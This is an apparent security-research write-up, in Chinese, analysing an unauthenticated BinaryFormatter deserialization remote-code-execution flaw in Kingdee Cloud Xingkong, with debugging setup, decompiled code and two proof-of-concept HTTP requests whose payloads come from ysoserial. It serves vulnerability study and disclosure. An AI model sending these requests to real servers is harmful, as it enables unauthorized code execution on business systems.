作者: Sunflower@知道創宇404實驗室
日期:2023年7月10日

1.前言

由于金蝶云星空能夠使用 format 參數指定數據格式為二進制,攻擊者可以通過發送由 BinaryFormatter 惡意序列化后的數據讓服務端進行危險的 BinaryFormatter 反序列化操作。反序列化過程中沒有對數據進行簽名或校驗,導致攻擊者可以在未授權狀態下進行服務器遠程代碼執行。

剛接觸 .NET 不久,正巧遇上了金蝶反序列化漏洞,本篇文章將從入門學習如何調試——分析金蝶反序列化漏洞。

2.影響范圍

金蝶云星空 < 6.2.1012.4
7.0.352.16 < 金蝶云星空 <7.7.0.202111
8.0.0.202205 < 金蝶云星空 < 8.1.0.20221110

3.環境準備

3.1 金蝶云星空

https://www.heshuyun.com/265.html

本文選擇漏洞版本 7.6,安裝就不用說,下載地址里面都有。

安裝完成后訪問能打開就行,如圖 1 所示:

image-20230630181758751

圖1 安裝完成成功訪問

3.2 dnSpy

dnSpy 是一個調試器和 .NET 程序集編輯器。即使沒有任何可用的源代碼,你也可以使用它來編輯和調試程序集。

https://github.com/dnSpy/dnSpy

3.3 Process Hacker

Process Hacker是一款免費、強大的多用途工具,可幫助你監控系統資源、調試軟件和檢測惡意軟件。

https://processhacker.sourceforge.io/

4.調試準備

已知漏洞的路徑如下,現在需要通過該URL定位找到對應的代碼位置。

http://192.168.87.133/K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc

這是一個 .NET 程序,所以直接打開 IIS 管理器,右擊 K3Cloud—— 瀏覽,找到源碼的位置,如圖 2 所示。

image-20230630182012849

圖2 IIS管理器

在 WebSite 目錄下找到并打開 Web.config,如圖3所示:

image-20230630182140473

圖3 WebSite目錄

在 Web.config 的 handlers 中可以看到,其中定義了讓路徑為 kdsvc 結尾的請求去使用 Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler 類進行處理,所以接下來尋找一下這個類的代碼所在位置,如圖 4 所示。

image-20230630182434898

圖4 Web.config文件

這里根據漏洞的 URL 推測,涉及的dll大概是 Kingdee.BOS* 這樣的文件。從 WebSite\bin 目錄下復制出 dll 文件,載入到 dnsPy 中,然后搜索:Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandle,如圖 5,定位到代碼具體位置:

image-20230703110909213

圖5 dnsPy搜索

根據搜索已經知曉了是哪一個 dll 文件處理了(Kingdee.BOS.ServiceFacade.KDServiceFx.dll),接下來使用 Process Hacker 定位到該 dll 被調用時所在的位置,然后右擊 Open file location。

這一步有一個小坑,要先訪問一遍漏洞路徑,不然 Process Hacker 只能搜索出一個,并且這一個不能正確的進行調試。搜索出兩個則選擇包含 k3cloud 路徑的那一個,如圖 6。

image-20230703134428481

圖6 Process Hacker

打開該 dll 的位置后,在該位置文件下新建一個同名 .ini 文件,如圖 7 所示。

image-20230703112918116

圖7 dll文件位置

文件內容如下,這里的作用是禁用編譯優化 [1](之后打開 cmd 使用 iisreset 命令重新 IIS 服務器,否則禁用編譯優化不生效!)。

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

重啟完 IIS 服務器后,進程 ID 會改變,所以再次使用 Process Hacker 搜索到相應的進程 ID(打開文件夾驗證同級目錄下是否有剛剛創建的 .ini 文件),如圖 8 所示。

image-20230703150019494

圖8 Process Hacker

接下來將這個目錄下的 Kingdee.BOS.ServiceFacade.KDServiceFx.dll 文件加載到 dnsPy 中,調試——>附加到進程,選擇剛剛得到的進程號 ID,如圖 9 所示。

image-20230703150101645

圖9 dnsPy附加到進程

接下來在 Kingdee.BOS.ServiceFacade.KDServiceFx的KDServiceHandler 中打上斷點,稍等幾秒看見斷點變為實心紅圈表示可以調試了,如圖 10 所示。

image-20230703134935336

圖10 dnsPy斷點

5.漏洞分析

參考網上公開的 PoC[2],將其中 PAYLOAD 位置替換為 ysoserial 生成的內容,先簡要跟一下這個漏洞:

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
    "ap0":"PAYLOAD",
    "format":"3"
}

這里直接發上面的數據包進行調試。如果之前配置的 dnSpy 沒錯,就可以成功斷到點了,如圖 11 所示。

image-20230703141610937

圖11 斷點成功

這里可以手動跳過幾個系統的處理邏輯,ctrl+ 鼠標點擊進入 return new KDSVCHandler();——this.ExecuteRequest(webCtx, requestExtractor);——RequestExcuteRuntime.StartRequest(requestExtractor, ctx);——RequestExcuteRuntime.BeginRquest(requestExtractor, context);,此時來到 RequestExcuteRuntime 類。斷點斷到 69 行 的 string localFile = webCtx.Context.Server.MapPath(path);,如圖 12 所示。

image-20230707112332009

圖12 斷點localFile

這里的 path 就為我們傳遞的 url ,然后通過 webCtx.Context.Server.MapPath(path); 生成一個 localFile,BuidServiceType 方法根據 localFile 包含common.kdsvc,繼續跳轉到其他邏輯,如圖 13 所示。

image-20230707112717945

圖13 判斷包含common.kdsvc

通過處理賦值給 text 提取出類名和方法名等,再先通過緩存去查找類,沒找到再調用 BuildServiceType 方法,如圖 14 所示。

image-20230707114816658

圖14 通過緩存查找

BuildServiceType 方法就是根據 strtype 定位到具體的程序集,然后再在程序集中尋找對應的類和方法等,如圖 15 ,這里就不再細說。

image-20230707113125350

圖15 尋找對應方法

繼續跟進,最終到達了 ExcuteRequest 方法內部,這里通過遍歷幾個 Modules 來處理這個請求,如圖 16 所示。

image-20230703163002326

圖16 ExcuteRequest方法

差不多遍歷到第 4 個 Modules ,進入到 OnProcess 方法中,如圖 17 所示。

image-20230703162543352

圖17 OnProcess方法

再繼續進入到 Execute() 方法內部,可以看到 DeserializeParameters() 方法,如圖 18 所示。

image-20230703163614593

圖18 Execute方法

繼續跟進,如圖 19。image-20230703163746591

圖19 DeserializeParameters方法

直到最后跟進到 BinaryFormatterProxy 的 Deserialize 方法中,這里可以看出代碼使用了 BinaryFormatter 進行了 Deserialize操作[2],微軟已經將 BinaryFormatter 的反序列化標注為不安全的[4]。

    public object Deserialize(string content, Type type)
    {
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        object result;
        try
        {
            byte[] array = this.encoder.Decoding(content);
            if (this.Compressor != null)
            {
                array = this.Compressor.Uncompress(array);
            }
            using (MemoryStream memoryStream = new MemoryStream(array))
            {
                result = binaryFormatter.Deserialize(memoryStream);
            }
        }
        catch (FormatException)
        {
            throw new KDException("#####", "服務器返回內容不能被解碼,請檢查服務器地址是否正確。");
        }
        return result;

最后調用棧如圖 20 所示。

image-20230703164415508

圖20 調用棧

5.1 為什么要賦值format=3?

因為 Create 方法中的 requestExtractor = new JQueryRequestExtractor(request, isGet);,其內部會根據 request 傳遞的值來進行屬性的賦值給 this.form,如圖 21 所示。

image-20230706112142018

圖21 Create方法

待后續調用到 this.Format 時,則會自動觸發 Format 定義,如圖 22 所示。

image-20230706124736057

圖22 Format定義

如圖 23,傳遞 format 參數為 3。

image-20230706125929500

圖23 調用到this.ExtractForm

接下來根據這個屬性值來進行匹配,為3正好能匹配到 Binary(當然這里 format 賦值為 Binary 也是可以的),如圖 24 所示。

image-20230706124036595

圖24 format的取值

5.2 為什么使用ap0作為參數?

一開始以為 ap0 是 GetBusinessObjectData 其中一個參數,后來發現其使用了如下代碼邏輯:

    public string[] GetServiceParameters(string[] paras)
        {
            string[] array = new string[paras.Length];
            if (this.form.AllKeys.Contains("parameters"))
            {
                string parameters = this.form["parameters"];
                JSONArray jsonarray = new JSONArray(parameters);
                int num = Math.Min(jsonarray.Count, array.Length);
                for (int i = 0; i < num; i++)
                {
                    if (jsonarray[i] == null)
                    {
                        array[i] = string.Empty;
                    }
                    else
                    {
                        Type type = jsonarray[i].GetType();
                        if (type.IsValueType || type == typeof(string))
                        {
                            array[i] = jsonarray[i].ToString();
                        }
                        else
                        {
                            array[i] = jsonarray.GetJsonString(i);
                        }
                    }
                }
            }
            else
            {
                int num2 = 0;
                for (int j = 0; j < paras.Length; j++)
                {
                    array[j] = this.form[paras[j]];
                    if (array[j] == null)
                    {
                        array[j] = this.form["ap" + num2++];
                    }
                }
            }
            return array;
        }

這意味著 array 只會接收 "ap+ 數字"和 parameters 中的值,否則 array 為 null 。此外,parameters 的值需要符合 JSON 格式。例如:

{"ap0":"payload","parameters":["payload"]}

6.繼續探索

分析到反序列化執行點發現,這里是先進行反序列化,之后 Invoke 再執行方法內部再進行參數類型判斷。這就意味著不管調用哪個類或者方法,只要該類或者方法存在并且可以傳入值(至少一個),那么都會調用到 this.DeserializeParameters(serializeProxy, svcType, paraValues) 代碼里面,如圖 25 所示。

image-20230704201545373

圖25 反序列化順序

此外還有個限制,svcType.MapToCLRType 的構造函數需要支持傳遞 context(KDServiceContext)類型或者繼承該類型的參數。只有確保傳遞給 CreateInstance 方法的參數與所需的構造函數參數類型兼容,且符合構造函數的參數約束,才能成功創建對象,否則會在創建對象時報錯,導致跳不到反序列化的步驟中去,如圖 26 所示。

image-20230705101029804

圖26 obj創建

綜上所述,只要任意一個類型的構造函數支持傳遞 KDServiceContext 類型或者繼承該類型的參數,并且其中的方法可以傳入參數(至少一個),那么都可以進入反序列化的代碼邏輯里去。

例舉幾個命名空間,他們下面的類的構造函數都支持傳遞 context 的類型:

Kingdee.BOS.ServiceFacade.ServicesStub
Kingdee.BOS.ServiceFacade.ServicesStub.Account
Kingdee.BOS.ServiceFacade.ServicesStub.Workflow
Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner
Kingdee.BOS.ServiceFacade.ServicesStub.BaseData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessFlow
Kingdee.BOS.ServiceFacade.ServicesStub.Computing
Kingdee.BOS.ServiceFacade.ServicesStub.DataMigration
Kingdee.BOS.ServiceFacade.ServicesStub.DB
Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm
Kingdee.BOS.ServiceFacade.ServicesStub.Metadata
......

調試到這里,成功跳到了反序列化步驟中去了,本以為可以準備收尾文章了,但是進入后發現 SerializerProxy 的 Deserialize 方法依舊對參數類型進行了判斷。

        public object Deserialize(string content, Type type)
        {
            if (string.IsNullOrEmpty(content))
            {
                if (type.IsValueType)
                {
                    return Activator.CreateInstance(type);
                }
                if (type.Equals(typeof(string)))
                {
                    return content;
                }
                return null;
            }
            else if (type == typeof(string))
            {
                if (this.proxy.RequireEncoding)
                {
                    byte[] array = this.proxy.Encoder.Decoding(content);
                    return this.encoding.GetString(array, 0, array.Length);
                }
                return content;
            }
            else
            {
                if (type.IsEnum)
                {
                    return Enum.Parse(type, content, true);
                }
                if (type == typeof(int))
                {
                    return int.Parse(content);
                }
                if (type == typeof(byte))
                {
                    return byte.Parse(content);
                }
                if (type == typeof(float))
                {
                    return float.Parse(content);
                }
                if (type == typeof(double))
                {
                    return double.Parse(content);
                }
                if (type == typeof(long))
                {
                    return long.Parse(content);
                }
                if (type == typeof(DateTime))
                {
                    return DateTime.Parse(content);
                }
                if (type == typeof(decimal))
                {
                    return decimal.Parse(content);
                }
                if (type == typeof(bool))
                {
                    return bool.Parse(content);
                }
                return this.proxy.Deserialize(content, type);
            }
        }

這里又出現了一層限制,因此正確的利用條件應該為:任意一個類型的構造函數支持傳遞 KDServiceContext 類型或者繼承該類型的參數。該構造函數中的方法需要傳入至少一個參數,并且參數不能為上述類型(string、int、byte、float...)。

在我剛剛提供的命名空間里面還是能找到不少符合條件的,例如圖 27。

image-20230705151352095

圖27 符合條件的方法

6.1 構造其他PoC

這里只舉了一個較為經典的案例,除此之外還有很多。

Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit 傳遞的第三個參數為 object[](這里滿足不為int、string等類型),且 ProcInstService 的構造函數支持傳遞 KDServiceContext 類型,滿足條件,如圖 28 所示。

image-20230706143956165

圖28 符合條件方法舉例

之前提到的,傳入 "ap+ 數字" 或者parameters,就可以給array賦值,這里Audit方法的第三個參數為object[],所以就需要使array[2]為payload,前兩個值用ap0和ap1進行占位,ap2為PAYLOAD。

所以構造的PoC 大致為:

POST /K3Cloud/Kingdees.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
    "ap0":"1",
    "ap1":"1",
    "ap2":“PAYLOAD”,
    "format":"Binary"
}

圖 29 進行驗證(這里PAYLOAD使用的是ysoserial生成的ActivitySurrogateSelectorFromFile攻擊鏈)。

image-20230706144131663

圖29 漏洞驗證

7.總結

本篇文章算是我從.NET入門到調試分析第一個漏洞,雖然一路上踩得坑還是不少,但是收獲還是挺多的。本文主要講了用 dnsPy 進行附加進程調試,至于VSstudio 調試以及一些編譯優化入門可以看一下這篇文章:http://www.bjnorthway.com/1894/

8.參考鏈接

[1]https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug

[2]https://mp.weixin.qq.com/s__biz=Mzg2ODYxMzY3OQ==&mid=2247498468&idx=2&sn=309198cc5bd645d5f7252288b5e629af

[3]http://www.bjnorthway.com/901/

[4]https://learn.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2089/